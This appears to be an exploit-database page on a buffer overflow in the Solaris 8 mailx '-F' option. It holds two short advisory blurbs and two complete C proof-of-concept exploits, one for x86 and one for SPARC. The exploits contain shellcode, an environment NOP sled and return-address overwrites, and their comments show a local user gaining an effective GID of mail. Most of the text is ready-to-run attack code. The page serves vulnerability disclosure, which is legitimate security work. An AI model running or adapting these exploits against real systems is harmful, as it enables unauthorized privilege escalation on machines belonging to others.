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Buffer overflow in mailx in Solaris 8 and earlier allows a local attacker to gain additional privileges via a long '-F' command line option.
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2023-01-01
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Publication date : 2001-03-31 22h00 +00:00 Author : Pablo Sor EDB Verified : Yes
// source: https://www.securityfocus.com/bid/2610/info
Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.
A problem with the handling of a long string of characters by the -F option makes it possible for a local user to gain elevated privileges. Due to the insufficient handling of input by the -F option of mailx, a buffer overflow at 1150 characters makes it possible to overwrite variables on the stack, including the return address.
This problem makes it possible for a local user gain elevated privileges, attaining an effective GID of mail.
#include <fcntl.h>
/*
/usr/bin/mailx overflow proof of conecpt.
Pablo Sor, Buenos Aires, Argentina 04/2001
psor@afip.gov.ar, psor@ccc.uba.ar
works against x86 solaris 8
default offset should work.
usage:
bash$ id
uid=100(laika) gid=1(other)
bash$ ./mailx-exp
Subject: tomy
.
EOT
[wait...]
$ id
uid=100(laika) gid=1(other) egid=6(mail)
*/
long get_esp() { __asm__("movl %esp,%eax"); }
int main(int ac, char **av)
{
char shell[]=
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
unsigned long magic = get_esp() + 2075; /* default offset */
unsigned char buf[1150];
char *envi;
envi = (char *)malloc(300*sizeof(char));
memset(envi,0x90,300);
memcpy(envi+280-strlen(shell),shell,strlen(shell));
memcpy(envi,"SOR=",4);
envi[299]=0;
putenv(envi);
symlink("/bin/ksh","/tmp/xx");
memset(buf,0x41,1150);
memcpy(buf+1116,&magic,4);
buf[1149]=0;
execl("/usr/bin/mailx","mailx","-F",buf,NULL);
}
Publication date : 2001-04-14 22h00 +00:00 Author : Pablo Sor EDB Verified : Yes
// source: https://www.securityfocus.com/bid/2610/info
Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.
A problem with the handling of a long string of characters by the -F option makes it possible for a local user to gain elevated privileges. Due to the insufficient handling of input by the -F option of mailx, a buffer overflow at 1150 characters makes it possible to overwrite variables on the stack, including the return address.
This problem makes it possible for a local user gain elevated privileges, attaining an effective GID of mail.
#include <fcntl.h>
/*
/usr/bin/mailx overflow proof of conecpt.
Pablo Sor, Buenos Aires, Argentina 05/2001
psor@afip.gov.ar, psor@ccc.uba.ar
works against Solaris 8 (SPARC)
default offset should work.
$ id
uid=100(laika) gid=1(other)
$ ./mailx-exp
Subject: tomy
.
EOT
[wait..]
$ id
uid=100(laika) gid=1(other) egid=6(mail)
*/
int main(int ac, char **av)
{
char shell[]=
"\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" /* setegid(6) */
"\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" /* setgid(6) */
/* LSD-pl.net guys shellcode */
"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
"\x82\x10\x20\x17" /* mov 0x17,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
unsigned long magic = get_sp() + 1444 ; /* default offset */
unsigned char buf[1220];
char *envi;
int cont;
envi = (char *)malloc(1000*sizeof(char));
for (cont=3;cont<990;cont=cont+4)
{ envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; }
for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803];
memcpy(envi,"SO=",3);
envi[999]=0;
putenv(envi);
memset(buf,0x41,1220);
memcpy(buf+1120+24,&magic,4); /* fake %fp */
memcpy(buf+1120+28,&magic,4); /* fake %i7 */
buf[1220]=0;
execl("/usr/bin/mailx","mailx","-F",buf,NULL);
}